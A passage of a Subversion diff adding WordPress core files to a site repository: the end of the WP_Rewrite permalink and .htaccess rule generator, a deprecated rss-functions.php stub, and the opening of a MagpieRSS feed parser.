+					$submatchbase = str_replace(array('(',')'),'',$match);
+
+					//add a rule for at attachments, which take the form of <permalink>/some-text
+					$sub1 = $submatchbase . '/([^/]+)/';
+					$sub1tb = $sub1 . $trackbackregex; //add trackback regex <permalink>/trackback/...
+					$sub1feed = $sub1 . $feedregex; //and <permalink>/feed/(atom|...)
+					$sub1feed2 = $sub1 . $feedregex2; //and <permalink>/(feed|atom...)
+					$sub1comment = $sub1 . $commentregex; //and <permalink>/comment-page-xx
+					//add an ? as we don't have to match that last slash, and finally a $ so we
+					//match to the end of the URL
+
+					//add another rule to match attachments in the explicit form:
+					//<permalink>/attachment/some-text
+					$sub2 = $submatchbase . '/attachment/([^/]+)/';
+					$sub2tb = $sub2 . $trackbackregex; //and add trackbacks <permalink>/attachment/trackback
+					$sub2feed = $sub2 . $feedregex;    //feeds, <permalink>/attachment/feed/(atom|...)
+					$sub2feed2 = $sub2 . $feedregex2;  //and feeds again on to this <permalink>/attachment/(feed|atom...)
+					$sub2comment = $sub2 . $commentregex; //and <permalink>/comment-page-xx
+
+					//create queries for these extra tag-ons we've just dealt with
+					$subquery = $index . '?attachment=' . $this->preg_index(1);
+					$subtbquery = $subquery . '&tb=1';
+					$subfeedquery = $subquery . '&feed=' . $this->preg_index(2);
+					$subcommentquery = $subquery . '&cpage=' . $this->preg_index(2);
+
+					//do endpoints for attachments
+					if ( !empty($endpoint) ) { foreach ( (array) $ep_query_append as $regex => $ep ) {
+						if ($ep[0] & EP_ATTACHMENT) {
+							$rewrite[$sub1 . $regex] = $subquery . '?' . $ep[1] . $this->preg_index(2);
+							$rewrite[$sub2 . $regex] = $subquery . '?' . $ep[1] . $this->preg_index(2);
+						}
+					} }
+
+					//now we've finished with endpoints, finish off the $sub1 and $sub2 matches
+					$sub1 .= '?$';
+					$sub2 .= '?$';
+
+					//allow URLs like <permalink>/2 for <permalink>/page/2
+					$match = $match . '(/[0-9]+)?/?$';
+					$query = $index . '?' . $query . '&page=' . $this->preg_index($num_toks + 1);
+				} else { //not matching a permalink so this is a lot simpler
+					//close the match and finalise the query
+					$match .= '?$';
+					$query = $index . '?' . $query;
+				}
+
+				//create the final array for this dir by joining the $rewrite array (which currently
+				//only contains rules/queries for trackback, pages etc) to the main regex/query for
+				//this dir
+				$rewrite = array_merge($rewrite, array($match => $query));
+
+				//if we're matching a permalink, add those extras (attachments etc) on
+				if ($post) {
+					//add trackback
+					$rewrite = array_merge(array($trackbackmatch => $trackbackquery), $rewrite);
+
+					//add regexes/queries for attachments, attachment trackbacks and so on
+					if ( ! $page ) //require <permalink>/attachment/stuff form for pages because of confusion with subpages
+						$rewrite = array_merge($rewrite, array($sub1 => $subquery, $sub1tb => $subtbquery, $sub1feed => $subfeedquery, $sub1feed2 => $subfeedquery, $sub1comment => $subcommentquery));
+					$rewrite = array_merge(array($sub2 => $subquery, $sub2tb => $subtbquery, $sub2feed => $subfeedquery, $sub2feed2 => $subfeedquery, $sub2comment => $subcommentquery), $rewrite);
+				}
+			} //if($num_toks)
+			//add the rules for this dir to the accumulating $post_rewrite
+			$post_rewrite = array_merge($rewrite, $post_rewrite);
+		} //foreach ($dir)
+		return $post_rewrite; //the finished rules. phew!
+	}
+
+	/**
+	 * Generate Rewrite rules with permalink structure and walking directory only.
+	 *
+	 * Shorten version of {@link WP_Rewrite::generate_rewrite_rules()} that
+	 * allows for shorter list of parameters. See the method for longer
+	 * description of what generating rewrite rules does.
+	 *
+	 * @uses WP_Rewrite::generate_rewrite_rules() See for long description and rest of parameters.
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @param string $permalink_structure The permalink structure to generate rules.
+	 * @param bool $walk_dirs Optional, default is false. Whether to create list of directories to walk over.
+	 * @return array
+	 */
+	function generate_rewrite_rule($permalink_structure, $walk_dirs = false) {
+		return $this->generate_rewrite_rules($permalink_structure, EP_NONE, false, false, false, $walk_dirs);
+	}
+
+	/**
+	 * Construct rewrite matches and queries from permalink structure.
+	 *
+	 * Runs the action 'generate_rewrite_rules' with the parameter that is an
+	 * reference to the current WP_Rewrite instance to further manipulate the
+	 * permalink structures and rewrite rules. Runs the 'rewrite_rules_array'
+	 * filter on the full rewrite rule array.
+	 *
+	 * There are two ways to manipulate the rewrite rules, one by hooking into
+	 * the 'generate_rewrite_rules' action and gaining full control of the
+	 * object or just manipulating the rewrite rule array before it is passed
+	 * from the function.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @return array An associate array of matches and queries.
+	 */
+	function rewrite_rules() {
+		$rewrite = array();
+
+		if (empty($this->permalink_structure)) {
+			return $rewrite;
+		}
+
+		// robots.txt
+		$robots_rewrite = array('robots\.txt$' => $this->index . '?robots=1');
+
+		//Default Feed rules - These are require to allow for the direct access files to work with permalink structure starting with %category%
+		$default_feeds = array(	'.*wp-atom.php$'	=>	$this->index .'?feed=atom',
+								'.*wp-rdf.php$'	=>	$this->index .'?feed=rdf',
+								'.*wp-rss.php$'	=>	$this->index .'?feed=rss',
+								'.*wp-rss2.php$'	=>	$this->index .'?feed=rss2',
+								'.*wp-feed.php$'	=>	$this->index .'?feed=feed',
+								'.*wp-commentsrss2.php$'	=>	$this->index . '?feed=rss2&withcomments=1');
+
+		// Post
+		$post_rewrite = $this->generate_rewrite_rules($this->permalink_structure, EP_PERMALINK);
+		$post_rewrite = apply_filters('post_rewrite_rules', $post_rewrite);
+
+		// Date
+		$date_rewrite = $this->generate_rewrite_rules($this->get_date_permastruct(), EP_DATE);
+		$date_rewrite = apply_filters('date_rewrite_rules', $date_rewrite);
+
+		// Root
+		$root_rewrite = $this->generate_rewrite_rules($this->root . '/', EP_ROOT);
+		$root_rewrite = apply_filters('root_rewrite_rules', $root_rewrite);
+
+		// Comments
+		$comments_rewrite = $this->generate_rewrite_rules($this->root . $this->comments_base, EP_COMMENTS, true, true, true, false);
+		$comments_rewrite = apply_filters('comments_rewrite_rules', $comments_rewrite);
+
+		// Search
+		$search_structure = $this->get_search_permastruct();
+		$search_rewrite = $this->generate_rewrite_rules($search_structure, EP_SEARCH);
+		$search_rewrite = apply_filters('search_rewrite_rules', $search_rewrite);
+
+		// Categories
+		$category_rewrite = $this->generate_rewrite_rules($this->get_category_permastruct(), EP_CATEGORIES);
+		$category_rewrite = apply_filters('category_rewrite_rules', $category_rewrite);
+
+		// Tags
+		$tag_rewrite = $this->generate_rewrite_rules($this->get_tag_permastruct(), EP_TAGS);
+		$tag_rewrite = apply_filters('tag_rewrite_rules', $tag_rewrite);
+
+		// Authors
+		$author_rewrite = $this->generate_rewrite_rules($this->get_author_permastruct(), EP_AUTHORS);
+		$author_rewrite = apply_filters('author_rewrite_rules', $author_rewrite);
+
+		// Pages
+		$page_rewrite = $this->page_rewrite_rules();
+		$page_rewrite = apply_filters('page_rewrite_rules', $page_rewrite);
+
+		// Extra permastructs
+		foreach ( $this->extra_permastructs as $permastruct )
+			$this->extra_rules_top = array_merge($this->extra_rules_top, $this->generate_rewrite_rules($permastruct, EP_NONE));
+
+		// Put them together.
+		if ( $this->use_verbose_page_rules )
+			$this->rules = array_merge($this->extra_rules_top, $robots_rewrite, $default_feeds, $page_rewrite, $root_rewrite, $comments_rewrite, $search_rewrite, $category_rewrite, $tag_rewrite, $author_rewrite, $date_rewrite, $post_rewrite, $this->extra_rules);
+		else
+			$this->rules = array_merge($this->extra_rules_top, $robots_rewrite, $default_feeds, $root_rewrite, $comments_rewrite, $search_rewrite, $category_rewrite, $tag_rewrite, $author_rewrite, $date_rewrite, $post_rewrite, $page_rewrite, $this->extra_rules);
+
+		do_action_ref_array('generate_rewrite_rules', array(&$this));
+		$this->rules = apply_filters('rewrite_rules_array', $this->rules);
+
+		return $this->rules;
+	}
+
+	/**
+	 * Retrieve the rewrite rules.
+	 *
+	 * The difference between this method and {@link
+	 * WP_Rewrite::rewrite_rules()} is that this method stores the rewrite rules
+	 * in the 'rewrite_rules' option and retrieves it. This prevents having to
+	 * process all of the permalinks to get the rewrite rules in the form of
+	 * caching.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @return array Rewrite rules.
+	 */
+	function wp_rewrite_rules() {
+		$this->rules = get_transient('rewrite_rules');
+		if ( empty($this->rules) ) {
+			$this->matches = 'matches';
+			$this->rewrite_rules();
+			set_transient('rewrite_rules', $this->rules);
+		}
+
+		return $this->rules;
+	}
+
+	/**
+	 * Retrieve mod_rewrite formatted rewrite rules to write to .htaccess.
+	 *
+	 * Does not actually write to the .htaccess file, but creates the rules for
+	 * the process that will.
+	 *
+	 * Will add  the non_wp_rules property rules to the .htaccess file before
+	 * the WordPress rewrite rules one.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @return string
+	 */
+	function mod_rewrite_rules() {
+		if ( ! $this->using_permalinks()) {
+			return '';
+		}
+
+		$site_root = parse_url(get_option('siteurl'));
+		if ( isset( $site_root['path'] ) ) {
+			$site_root = trailingslashit($site_root['path']);
+		}
+
+		$home_root = parse_url(get_option('home'));
+		if ( isset( $home_root['path'] ) ) {
+			$home_root = trailingslashit($home_root['path']);
+		} else {
+			$home_root = '/';
+		}
+
+		$rules = "<IfModule mod_rewrite.c>\n";
+		$rules .= "RewriteEngine On\n";
+		$rules .= "RewriteBase $home_root\n";
+
+		//add in the rules that don't redirect to WP's index.php (and thus shouldn't be handled by WP at all)
+		foreach ( (array) $this->non_wp_rules as $match => $query) {
+			// Apache 1.3 does not support the reluctant (non-greedy) modifier.
+			$match = str_replace('.+?', '.+', $match);
+
+			// If the match is unanchored and greedy, prepend rewrite conditions
+			// to avoid infinite redirects and eclipsing of real files.
+			if ($match == '(.+)/?$' || $match == '([^/]+)/?$' ) {
+				//nada.
+			}
+
+			$rules .= 'RewriteRule ^' . $match . ' ' . $home_root . $query . " [QSA,L]\n";
+		}
+
+		if ($this->use_verbose_rules) {
+			$this->matches = '';
+			$rewrite = $this->rewrite_rules();
+			$num_rules = count($rewrite);
+			$rules .= "RewriteCond %{REQUEST_FILENAME} -f [OR]\n" .
+				"RewriteCond %{REQUEST_FILENAME} -d\n" .
+				"RewriteRule ^.*$ - [S=$num_rules]\n";
+
+			foreach ( (array) $rewrite as $match => $query) {
+				// Apache 1.3 does not support the reluctant (non-greedy) modifier.
+				$match = str_replace('.+?', '.+', $match);
+
+				// If the match is unanchored and greedy, prepend rewrite conditions
+				// to avoid infinite redirects and eclipsing of real files.
+				if ($match == '(.+)/?$' || $match == '([^/]+)/?$' ) {
+					//nada.
+				}
+
+				if (strpos($query, $this->index) !== false) {
+					$rules .= 'RewriteRule ^' . $match . ' ' . $home_root . $query . " [QSA,L]\n";
+				} else {
+					$rules .= 'RewriteRule ^' . $match . ' ' . $site_root . $query . " [QSA,L]\n";
+				}
+			}
+		} else {
+			$rules .= "RewriteCond %{REQUEST_FILENAME} !-f\n" .
+				"RewriteCond %{REQUEST_FILENAME} !-d\n" .
+				"RewriteRule . {$home_root}{$this->index} [L]\n";
+		}
+
+		$rules .= "</IfModule>\n";
+
+		$rules = apply_filters('mod_rewrite_rules', $rules);
+		$rules = apply_filters('rewrite_rules', $rules);  // Deprecated
+
+		return $rules;
+	}
+
+	/**
+	 * Retrieve IIS7 URL Rewrite formatted rewrite rules to write to web.config file.
+	 *
+	 * Does not actually write to the web.config file, but creates the rules for
+	 * the process that will.
+	 *
+	 * @since 2.8.0
+	 * @access public
+	 *
+	 * @return string
+	 */
+	function iis7_url_rewrite_rules(){
+
+		if ( ! $this->using_permalinks()) {
+			return '';
+		}
+		$rules  = "<rule name=\"wordpress\" patternSyntax=\"Wildcard\">\n";
+		$rules .= "	<match url=\"*\" />\n";
+		$rules .= "	<conditions>\n";
+		$rules .= "		<add input=\"{REQUEST_FILENAME}\" matchType=\"IsFile\" negate=\"true\" />\n";
+		$rules .= "		<add input=\"{REQUEST_FILENAME}\" matchType=\"IsDirectory\" negate=\"true\" />\n";
+		$rules .= "	</conditions>\n";
+		$rules .= "	<action type=\"Rewrite\" url=\"index.php\" />\n";
+		$rules .= "</rule>";
+
+		$rules = apply_filters('iis7_url_rewrite_rules', $rules);
+
+		return $rules;
+	}
+
+	/**
+	 * Add a straight rewrite rule.
+	 *
+	 * Any value in the $after parameter that isn't 'bottom' will be placed at
+	 * the top of the rules.
+	 *
+	 * @since 2.1.0
+	 * @access public
+	 *
+	 * @param string $regex Regular expression to match against request.
+	 * @param string $redirect URL regex redirects to when regex matches request.
+	 * @param string $after Optional, default is bottom. Location to place rule.
+	 */
+	function add_rule($regex, $redirect, $after = 'bottom') {
+		//get everything up to the first ?
+		$index = (strpos($redirect, '?') == false ? strlen($redirect) : strpos($redirect, '?'));
+		$front = substr($redirect, 0, $index);
+		if ($front != $this->index) { //it doesn't redirect to WP's index.php
+			$this->add_external_rule($regex, $redirect);
+		} else {
+			if ( 'bottom' == $after)
+				$this->extra_rules = array_merge($this->extra_rules, array($regex => $redirect));
+			else
+				$this->extra_rules_top = array_merge($this->extra_rules_top, array($regex => $redirect));
+			//$this->extra_rules[$regex] = $redirect;
+		}
+	}
+
+	/**
+	 * Add a rule that doesn't redirect to index.php.
+	 *
+	 * Can redirect to any place.
+	 *
+	 * @since 2.1.0
+	 * @access public
+	 *
+	 * @param string $regex Regular expression to match against request.
+	 * @param string $redirect URL regex redirects to when regex matches request.
+	 */
+	function add_external_rule($regex, $redirect) {
+		$this->non_wp_rules[$regex] = $redirect;
+	}
+
+	/**
+	 * Add an endpoint, like /trackback/.
+	 *
+	 * To be inserted after certain URL types (specified in $places).
+	 *
+	 * @since 2.1.0
+	 * @access public
+	 *
+	 * @param string $name Name of endpoint.
+	 * @param array $places URL types that endpoint can be used.
+	 */
+	function add_endpoint($name, $places) {
+		global $wp;
+		$this->endpoints[] = array ( $places, $name );
+		$wp->add_query_var($name);
+	}
+
+	/**
+	 * Add permalink structure.
+	 *
+	 * These are added along with the extra rewrite rules that are merged to the
+	 * top.
+	 *
+	 * @since unknown
+	 * @access public
+	 *
+	 * @param string $name Name for permalink structure.
+	 * @param string $struct Permalink structure.
+	 * @param bool $with_front Prepend front base to permalink structure.
+	 */
+	function add_permastruct($name, $struct, $with_front = true) {
+		if ( $with_front )
+			$struct = $this->front . $struct;
+		$this->extra_permastructs[$name] = $struct;
+	}
+
+	/**
+	 * Remove rewrite rules and then recreate rewrite rules.
+	 *
+	 * Calls {@link WP_Rewrite::wp_rewrite_rules()} after removing the
+	 * 'rewrite_rules' option. If the function named 'save_mod_rewrite_rules'
+	 * exists, it will be called.
+	 *
+	 * @since 2.0.1
+	 * @access public
+	 * @param $hard bool Whether to update .htaccess (hard flush) or just update rewrite_rules transient (soft flush). Default is true (hard).
+	 */
+	function flush_rules($hard = true) {
+		delete_transient('rewrite_rules');
+		$this->wp_rewrite_rules();
+		if ( $hard && function_exists('save_mod_rewrite_rules') )
+			save_mod_rewrite_rules();
+		if ( $hard && function_exists('iis7_save_url_rewrite_rules') )
+			iis7_save_url_rewrite_rules();
+	}
+
+	/**
+	 * Sets up the object's properties.
+	 *
+	 * The 'use_verbose_page_rules' object property will be set to true if the
+	 * permalink structure begins with one of the following: '%postname%', '%category%',
+	 * '%tag%', or '%author%'.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 */
+	function init() {
+		$this->extra_rules = $this->non_wp_rules = $this->endpoints = array();
+		$this->permalink_structure = get_option('permalink_structure');
+		$this->front = substr($this->permalink_structure, 0, strpos($this->permalink_structure, '%'));
+		$this->root = '';
+		if ($this->using_index_permalinks()) {
+			$this->root = $this->index . '/';
+		}
+		$this->category_base = get_option( 'category_base' );
+		$this->tag_base = get_option( 'tag_base' );
+		unset($this->category_structure);
+		unset($this->author_structure);
+		unset($this->date_structure);
+		unset($this->page_structure);
+		unset($this->search_structure);
+		unset($this->feed_structure);
+		unset($this->comment_feed_structure);
+		$this->use_trailing_slashes = ( substr($this->permalink_structure, -1, 1) == '/' ) ? true : false;
+
+		// Enable generic rules for pages if permalink structure doesn't begin with a wildcard.
+		if ( preg_match("/^[^%]*%(?:postname|category|tag|author)%/", $this->permalink_structure) )
+			 $this->use_verbose_page_rules = true;
+		else
+			$this->use_verbose_page_rules = false;
+	}
+
+	/**
+	 * Set the main permalink structure for the blog.
+	 *
+	 * Will update the 'permalink_structure' option, if there is a difference
+	 * between the current permalink structure and the parameter value. Calls
+	 * {@link WP_Rewrite::init()} after the option is updated.
+	 *
+	 * Fires the 'permalink_structure_changed' action once the init call has
+	 * processed passing the old and new values
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @param string $permalink_structure Permalink structure.
+	 */
+	function set_permalink_structure($permalink_structure) {
+		if ($permalink_structure != $this->permalink_structure) {
+			update_option('permalink_structure', $permalink_structure);
+			$this->init();
+			do_action('permalink_structure_changed', $this->permalink_structure, $permalink_structure);
+		}
+	}
+
+	/**
+	 * Set the category base for the category permalink.
+	 *
+	 * Will update the 'category_base' option, if there is a difference between
+	 * the current category base and the parameter value. Calls
+	 * {@link WP_Rewrite::init()} after the option is updated.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @param string $category_base Category permalink structure base.
+	 */
+	function set_category_base($category_base) {
+		if ($category_base != $this->category_base) {
+			update_option('category_base', $category_base);
+			$this->init();
+		}
+	}
+
+	/**
+	 * Set the tag base for the tag permalink.
+	 *
+	 * Will update the 'tag_base' option, if there is a difference between the
+	 * current tag base and the parameter value. Calls
+	 * {@link WP_Rewrite::init()} after the option is updated.
+	 *
+	 * @since 2.3.0
+	 * @access public
+	 *
+	 * @param string $tag_base Tag permalink structure base.
+	 */
+	function set_tag_base( $tag_base ) {
+		if ( $tag_base != $this->tag_base ) {
+			update_option( 'tag_base', $tag_base );
+			$this->init();
+		}
+	}
+
+	/**
+	 * PHP4 Constructor - Calls init(), which runs setup.
+	 *
+	 * @since 1.5.0
+	 * @access public
+	 *
+	 * @return WP_Rewrite
+	 */
+	function WP_Rewrite() {
+		$this->init();
+	}
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/rss-functions.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/rss-functions.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/rss-functions.php	(revision 44)
@@ -0,0 +1,10 @@
+<?php
+/**
+ * Deprecated.  Use rss.php instead.
+ *
+ * @package WordPress
+ */
+
+_deprecated_file( basename(__FILE__), '0.0', 'rss.php' );
+require_once (ABSPATH . WPINC . '/rss.php');
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/rss.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/rss.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/rss.php	(revision 44)
@@ -0,0 +1,2044 @@
+<?php
+/* Project:	MagpieRSS: a simple RSS integration tool
+ * File:	A compiled file for RSS syndication
+ * Author:	Kellan Elliot-McCrea <kellan@protest.net>
+ *		WordPress development team <http://www.wordpress.org/>
+ *		Charles Johnson <technophilia@radgeek.com>
+ * Version:	2009.0618
+ * License:	GPL
+ *
+ * Provenance:
+ *
+ * This is a drop-in replacement for the `rss-functions.php` provided with the
+ * WordPress 1.5 distribution, which upgrades the version of MagpieRSS from 0.51
+ * to 0.8a. The update improves handling of character encoding, supports
+ * multiple categories for posts (using <dc:subject> or <category>), supports
+ * Atom 1.0, and implements many other useful features. The file is derived from
+ * a combination of (1) the WordPress development team's modifications to
+ * MagpieRSS 0.51 and (2) the latest bleeding-edge updates to the "official"
+ * MagpieRSS software, including Kellan's original work and some substantial
+ * updates by Charles Johnson. All possible through the magic of the GPL. Yay
+ * for free software!
+ *
+ * Differences from the main branch of MagpieRSS:
+ *
+ * 1.	Everything in rss_parse.inc, rss_fetch.inc, rss_cache.inc, and
+ *	rss_utils.inc is included in one file.
+ *
+ * 2.	MagpieRSS returns the WordPress version as the user agent, rather than
+ *	Magpie
+ *
+ * 3.	class RSSCache is a modified version by WordPress developers, which
+ * 	caches feeds in the WordPress database (in the options table), rather
+ * 	than writing external files directly.
+ *
+ * 4.	There are two WordPress-specific functions, get_rss() and wp_rss()
+ *
+ * Differences from the version of MagpieRSS packaged with WordPress:
+ *
+ * 1.	Support for translation between multiple character encodings. Under
+ *	PHP 5 this is very nicely handled by the XML parsing library. Under PHP
+ *	4 we need to do a little bit of work ourselves, using either iconv or
+ *	mb_convert_encoding if it is not one of the (extremely limited) number
+ *	of character sets that PHP 4's XML module can handle natively.
+ *
+ * 2.	Numerous bug fixes.
+ *
+ * 3.	The parser class MagpieRSS has been substantially revised to better
+ *	support popular features such as enclosures and multiple categories,
+ *	and to support the new Atom 1.0 IETF standard. (Atom feeds are
+ *	normalized so as to make the data available using terminology from
+ *	either Atom 0.3 or Atom 1.0. Atom 0.3 backward-compatibility is provided
+ *	to allow existing software to easily begin accepting Atom 1.0 data; new
+ *	software SHOULD NOT depend on the 0.3 terminology, but rather use the
+ *	normalization as a convenient way to keep supporting 0.3 feeds while
+ *	they linger in the world.)
+ *
+ *	The upgraded MagpieRSS can also now handle some content constructs that
+ *	had not been handled well by previous versions of Magpie (such as the
+ *	use of namespaced XHTML in <xhtml:body> or <xhtml:div> elements to
+ *	provide the full content of posts in RSS 2.0 feeds).
+ *
+ *	Unlike previous versions of MagpieRSS, this version can parse multiple
+ *	instances of the same child element in item/entry and channel/feed
+ *	containers. This is done using simple counters next to the element
+ *	names: the first <category> element on an RSS item, for example, can be
+ *	found in $item['category'] (thus preserving backward compatibility); the
+ *	second in $item['category#2'], the third in $item['category#3'], and so
+ *	on. The number of categories applied to the item can be found in
+ *	$item['category#']
+ *
+ *	Also unlike previous versions of MagpieRSS, this version allows you to
+ *	access the values of elements' attributes as well as the content they
+ *	contain. This can be done using a simple syntax inspired by XPath: to
+ *	access the type attribute of an RSS 2.0 enclosure, for example, you
+ *	need only access `$item['enclosure@type']`. A comma-separated list of
+ *	attributes for the enclosure element is stored in `$item['enclosure@']`.
+ *	(This syntax interacts easily with the syntax for multiple categories;
+ *	for example, the value of the `scheme` attribute for the fourth category
+ *	element on a particular item is stored in `$item['category#4@scheme']`.)
+ *
+ *	Note also that this implementation IS NOT backward-compatible with the
+ *	kludges that were used to hack in support for multiple categories and
+ *	for enclosures in upgraded versions of MagpieRSS distributed with
+ *	previous versions of FeedWordPress. If your hacks or filter plugins
+ *	depended on the old way of doing things... well, I warned you that they
+ *	might not be permanent. Sorry!
+ */
+
+define('RSS', 'RSS');
+define('ATOM', 'Atom');
+
+################################################################################
+## WordPress: make some settings WordPress-appropriate #########################
+################################################################################
+
+define('MAGPIE_USER_AGENT', 'WordPress/' . $wp_version . '(+http://www.wordpress.org)');
+
+$wp_encoding = get_settings('blog_charset');
+define('MAGPIE_OUTPUT_ENCODING', ($wp_encoding?$wp_encoding:'ISO-8859-1'));
+
+################################################################################
+## rss_parse.inc: from MagpieRSS 0.85 ##########################################
+################################################################################
+
+/**
+* Hybrid parser, and object, takes RSS as a string and returns a simple object.
+*
+* see: rss_fetch.inc for a simpler interface with integrated caching support
+*
+*/
+class MagpieRSS {
+    var $parser;
+    
+    var $current_item   = array();  // item currently being parsed
+    var $items          = array();  // collection of parsed items
+    var $channel        = array();  // hash of channel fields
+    var $textinput      = array();
+    var $image          = array();
+    var $feed_type;
+    var $feed_version;
+    var $encoding       = '';       // output encoding of parsed rss
+    
+    var $_source_encoding = '';     // only set if we have to parse xml prolog
+    
+    var $ERROR = "";
+    var $WARNING = "";
+    
+    // define some constants
+    var $_XMLNS_FAMILIAR = array (
+    	'http://www.w3.org/2005/Atom' => 'atom' /* 1.0 */,
+	'http://purl.org/atom/ns#' => 'atom' /* pre-1.0 */,
+	'http://purl.org/rss/1.0/' => 'rss' /* 1.0 */,
+	'http://backend.userland.com/RSS2' => 'rss' /* 2.0 */,
+	'http://www.w3.org/1999/02/22-rdf-syntax-ns#' => 'rdf', 
+	'http://www.w3.org/1999/xhtml' => 'xhtml',
+	'http://purl.org/dc/elements/1.1/' => 'dc',
+	'http://purl.org/dc/terms/' => 'dcterms',
+	'http://purl.org/rss/1.0/modules/content/' => 'content',
+	'http://purl.org/rss/1.0/modules/syndication/' => 'sy',
+	'http://purl.org/rss/1.0/modules/taxonomy/' => 'taxo',
+	'http://purl.org/rss/1.0/modules/dc/' => 'dc',
+	'http://wellformedweb.org/CommentAPI/' => 'wfw',
+	'http://webns.net/mvcb/' => 'admin',
+	'http://purl.org/rss/1.0/modules/annotate/' => 'annotate',
+	'http://xmlns.com/foaf/0.1/' => 'foaf',
+	'http://madskills.com/public/xml/rss/module/trackback/' => 'trackback',
+	'http://web.resource.org/cc/' => 'cc',
+	'http://search.yahoo.com/mrss' => 'media',
+    );
+
+    var $_XMLBASE_RESOLVE = array (
+    	// Atom 0.3 and 1.0 xml:base support
+	'atom' => array (
+		'link' => array ('href' => true),
+		'content' => array ('src' => true, '*xml' => true, '*html' => true),
+		'summary' => array ('*xml' => true, '*html' => true),
+		'title' => array ('*xml' => true, '*html' => true),
+		'rights' => array ('*xml' => true, '*html' => true),
+		'subtitle' => array ('*xml' => true, '*html' => true),
+		'info' => array('*xml' => true, '*html' => true),
+		'tagline' => array('*xml' => true, '*html' => true),
+		'copyright' => array ('*xml' => true, '*html' => true),
+		'generator' => array ('uri' => true, 'url' => true),
+		'uri' => array ('*content' => true),
+		'url' => array ('*content' => true),
+		'icon' => array ('*content' => true),
+		'logo' => array ('*content' => true),
+	),
+	
+	// for inline namespaced XHTML
+	'xhtml' => array (
+		'a' => array ('href' => true),
+		'applet' => array('codebase' => true),
+		'area' => array('href' => true),
+		'blockquote' => array('cite' => true),
+		'body' => array('background' => true),
+		'del' => array('cite' => true),
+		'form' => array('action' => true),
+		'frame' => array('longdesc' => true, 'src' => true),
+		'iframe' => array('longdesc' => true, 'iframe' => true, 'src' => true),
+		'head' => array('profile' => true),
+		'img' => array('longdesc' => true, 'src' => true, 'usemap' => true),
+		'input' => array('src' => true, 'usemap' => true),
+		'ins' => array('cite' => true),
+		'link' => array('href' => true),
+		'object' => array('classid' => true, 'codebase' => true, 'data' => true, 'usemap' => true),
+		'q' => array('cite' => true),
+		'script' => array('src' => true),
+	),
+    );
+
+    var $_ATOM_CONTENT_CONSTRUCTS = array(
+        'content', 'summary', 'title', /* common */
+    'info', 'tagline', 'copyright', /* Atom 0.3 */
+        'rights', 'subtitle', /* Atom 1.0 */
+    );
+    var $_XHTML_CONTENT_CONSTRUCTS = array('body', 'div');
+    var $_KNOWN_ENCODINGS    = array('UTF-8', 'US-ASCII', 'ISO-8859-1');
+
+    // parser variables, useless if you're not a parser, treat as private
+    var $stack    = array('element' => array (), 'ns' => array (), 'xmlns' => array (), 'xml:base' => array ()); // stack of XML data
+
+    var $inchannel          = false;
+    var $initem             = false;
+
+    var $incontent          = array(); // non-empty if in namespaced XML content field
+    var $xml_escape	    = false; // true when accepting namespaced XML
+    var $exclude_top        = false; // true when Atom 1.0 type="xhtml"
+
+    var $intextinput        = false;
+    var $inimage            = false;
+    var $root_namespaces    = array();
+    var $current_namespace  = false;
+    var $working_namespace_table = array();
+
+    /**
+     *  Set up XML parser, parse source, and return populated RSS object..
+     *   
+     *  @param string $source           string containing the RSS to be parsed
+     *
+     *  NOTE:  Probably a good idea to leave the encoding options alone unless
+     *         you know what you're doing as PHP's character set support is
+     *         a little weird.
+     *
+     *  NOTE:  A lot of this is unnecessary but harmless with PHP5 
+     *
+     *
+     *  @param string $output_encoding  output the parsed RSS in this character 
+     *                                  set defaults to ISO-8859-1 as this is PHP's
+     *                                  default.
+     *
+     *                                  NOTE: might be changed to UTF-8 in future
+     *                                  versions.
+     *                               
+     *  @param string $input_encoding   the character set of the incoming RSS source. 
+     *                                  Leave blank and Magpie will try to figure it
+     *                                  out.
+     *                                  
+     *                                   
+     *  @param bool   $detect_encoding  if false Magpie won't attempt to detect
+     *                                  source encoding. (caveat emptor)
+     *
+     */
+    function MagpieRSS ($source, $output_encoding='ISO-8859-1', 
+                        $input_encoding=null, $detect_encoding=true, $base_uri=null) 
+    {   
+        # if PHP xml isn't compiled in, die
+        #
+        if (!function_exists('xml_parser_create')) {
+            $this->error( "Failed to load PHP's XML Extension. " . 
+                          "http://www.php.net/manual/en/ref.xml.php",
+                           E_USER_ERROR );
+        }
+        
+        list($parser, $source) = $this->create_parser($source, 
+                $output_encoding, $input_encoding, $detect_encoding);
+        
+        
+        if (!is_resource($parser)) {
+            $this->error( "Failed to create an instance of PHP's XML parser. " .
+                          "http://www.php.net/manual/en/ref.xml.php",
+                          E_USER_ERROR );
+        }
+
+        
+        $this->parser = $parser;
+        
+        # pass in parser, and a reference to this object
+        # setup handlers
+        #
+        xml_set_object( $this->parser, $this );
+        xml_set_element_handler($this->parser, 
+                'feed_start_element', 'feed_end_element' );
+                        
+        xml_set_character_data_handler( $this->parser, 'feed_cdata' ); 
+
+	$this->stack['xml:base'] = array($base_uri);
+
+        $status = xml_parse( $this->parser, $source );
+        
+        if (! $status ) {
+            $errorcode = xml_get_error_code( $this->parser );
+            if ( $errorcode != XML_ERROR_NONE ) {
+                $xml_error = xml_error_string( $errorcode );
+                $error_line = xml_get_current_line_number($this->parser);
+                $error_col = xml_get_current_column_number($this->parser);
+                $errormsg = "$xml_error at line $error_line, column $error_col";
+
+                $this->error( $errormsg );
+            }
+        }
+        
+        xml_parser_free( $this->parser );
+
+        $this->normalize();
+    }
+    
+    function feed_start_element($p, $element, &$attributes) {
+        $el = strtolower($element);
+
+	$namespaces = end($this->stack['xmlns']);
+	$baseuri = end($this->stack['xml:base']);
+
+ 	if (isset($attributes['xml:base'])) {
+		$baseuri = Relative_URI::resolve($attributes['xml:base'], $baseuri);
+	}
+	array_push($this->stack['xml:base'], $baseuri);
+
+	// scan for xml namespace declarations. ugly ugly ugly.
